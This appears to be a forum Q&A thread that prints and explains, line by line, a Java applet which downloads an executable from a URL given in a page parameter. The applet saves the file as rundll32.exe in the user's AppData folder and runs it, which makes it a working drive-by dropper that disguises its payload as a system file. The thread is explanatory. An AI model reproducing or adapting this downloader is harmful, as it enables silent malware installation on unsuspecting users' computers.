I added comments to explain the code.
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class respect extends Applet
{
public void start()
{
//gets the application data folder,
//i.e. C:\Documents and Settings\Administrator\Application Data
String str1 = System.getenv("appdata");
String str2 = getParameter("buntime");
String str3 = "\\rundll32.exe";
//concatenates str1 and str3. resulting path is <appdata directory>\\rundll32.exe
String str4 = str1.concat(str3);
BufferedInputStream localBufferedInputStream = null;
try {
//tries to open the inputstream with url in buntime
//i.e. fails if url doesn't exist
localBufferedInputStream = new BufferedInputStream(new URL(str2).openStream());
} catch (IOException localIOException1) {
//logs the error message
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
//prepares a stream to write to location str4
localFileOutputStream = new FileOutputStream(str4);
} catch (FileNotFoundException localFileNotFoundException) {
//logs the error message
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
//wraps the fileoutputstream to a buffered stream
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
//inits an array which will be the buffer
byte[] arrayOfByte = new byte[1024];
try
{
int i;
//writes the file it gets from the inputstream with the buffered outputstream
//to location str4.
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
//logs error message
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
//closes the stream
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
//logs error message
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
//executes the file that was written to str4 (=<appdata>\\runtimedll32.exe)
Runtime.getRuntime().exec(str4);
} catch (IOException localIOException5) {
Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
}
}
public void main(String[] paramArrayOfString)
{
start();
}
}
The first try/catch exception there, does that basically just try to load the external .exe file then log the error if it can't?
It doesn't load anything. The stream is just opened and if that fails (because file/url doesn't exist) the error message is logged.
The second try/catch code block has stuff about output streams, does that part of the code send the .exe file to the person visiting the site so that it is loaded into their computers memory?
It only opens the stream, but does nothing by then.
is a complete mystery to me. No idea what they are looping through or what that .write part does.
I roughly explained it in the comment, but here is the long explanation.
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
The long l is useless. You can write the same like this:
while ((i = localBufferedInputStream.read(arrayOfByte)) != -1)
localBufferedOutputStream.write(arrayOfByte, 0, i);
What it does:
localBufferedInputStream reads the .exe and loads parts of it into the arrayOfByte. -1 is returned, when end of file is reached, so that is the condition for breaking the loop (stop reading, when there is nothing to read). Otherwise read() returns the length of the data that has been loaded into the buffer (arrayOfByte).
The contents of arrayOfByte are then written with the localBufferedOutputStream to <appdata>\\rundll32.exe
The write()-method is defined like that (look into the Java API):
write(byte[] b, int off, int len)
Writes len bytes from the specified byte array starting at offset off to this buffered output stream.
I know that exec() executes applications but what does the getRuntime() part do?
From the Java API:
public static Runtime (http://docs.oracle.com/javase/1.5.0/docs/api/java/lang/Runtime.html) getRuntime()
Returns the runtime object associated with the current Java application.
You just need to get the runtime in order to call exec.
But it is better to use a ProcessBuilder instead today.